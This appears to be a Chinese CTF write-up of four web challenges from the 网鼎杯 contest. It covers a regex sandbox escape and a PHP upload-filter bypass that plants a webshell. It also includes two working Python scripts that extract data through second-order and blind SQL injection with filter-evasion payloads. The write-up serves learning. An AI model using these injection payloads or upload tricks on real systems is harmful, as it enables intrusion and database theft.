网鼎杯 第二场 web writeup
向信安之路的老哥要了一个账号,赛后开始做题
web
calc
可以这个计算机很厉害
既然说一定要写好正则,说明正则很重要
感觉是道沙箱逃逸题正好学习一下
可是怎么绕过正则
https://www.anquanke.com/post/id/85571
他没有最后的$,所以后面应该可以输入很多字符,截止
来了一个int和不能str相加,name把后面的换成int呢
答案直接出来了。还行=。=
试了一下发现直接那个不行的原因是因为我加了一个回车,如果不加回车就可以了
这样就可以了=。=
wafUpload
进图给源码真棒
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
先上传再说
黑人问号我给你jpg居然不允许=。=我看看源码
看了一下代码所以他是先看filename,我刚刚在上传的时候把filename改成了test,所以上传失败了
reset函数
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
直接命名为jpg也是可以上传的
判断了这个
那么filename[1]就为空了
写进去了,掏出蚁剑
一直连不上才发现其实并没有写进去
命名为php.php/. 其实上传的还是php.php连上蚁剑,终于成功了。。
找到flag
unfinished
这个loli挺可爱
进去一看源码连个注册地方都没有,那么试一下register.php
果然在这
耶成功登录
???什么都没有,就只有一个adsl1234
我猜测应该是二次注入,连给的信息都只有一个用户名,跟强网杯的应该差不对
从用户名下手
并没有成功,看样子不用16进制
逗号被过滤了
注进去了!
为什么是1呢。总不可能是盲注吧。既然注释符不能用就构造为真就好了
这样就可以了
解出来是web
那么继续
被过滤了,看样子不行,
information_schema
原来是这个被过滤了必须要两次hex才可以把所有的数据拿出来一次不知道为啥不行=。=
脚本
import requests
import string
import re as r
ch = string.ascii_lowercase+string.digits+'-}'+'{'
re = requests.session()
url = 'http://9daeec995ba44773ba0af4a02d87163e89bcd352b4694337.game.ichunqiu.com/'
def register(email,username):
url1 = url+'register.php'
data = dict(email = email, username = username,password = 'adsl1234')
html = re.post(url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email = email,password = 'adsl1234')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
return html
f = ''
for j in range(0,17):
payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14')
html = register(email,payload)
# print html.text
html = login(email)
try:
res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
flag = res[0][1:].strip()
print flag
f += flag
print f
print f.decode('hex').decode('hex')
except:
print "problem"
sqlweb
既然说admin也拿不到flag=。=那肯定是注入咯
噗感觉很简单是一个盲注题
密码错误也会显示出来
现在要看看过滤了啥
太良心了!良心题过滤了啥都有
单引号没过滤就没啥问题
不能有空格没问题,可以用括号
先本地测试一下
成功了一半 if 和mid并没有过滤
那么空格用括号来绕过
逗号用from for来绕过
等号可以用strcmp,在测试一下
在处理一下空格
''^(strcmp(mid((select(username)from(users)where(id=1))from(1)for(1)),'c')
ok了
脚本,也只能注入password啥都被过滤了
突然发现strcmp也是有逗号的,只能用in函数了
import requests
import string
ch = string.ascii_lowercase+string.digits+'-}'+'{'
re = requests.session()
url = 'http://53b00b880684449d8b9784e95a0202e28dd6259b4ead4cda.game.ichunqiu.com/sql.php'
flag = ''
for i in range(1,100):
for j in ch:
payload = "admin'&&mid((passwd)from({})for(1))in('{}')/**/limit/**/1#".format(i,j)
data = dict(uname=payload,passwd='adsl1234',submit='login')
# print data
html = re.post(url, data=data)
# print html.text
if 'passwd' in html.text:
flag += j
print flag
break
出来admin的密码是admin123
然后登录显示要吴彦祖的账号密码
把上面的admin换成wuyanzu就可以了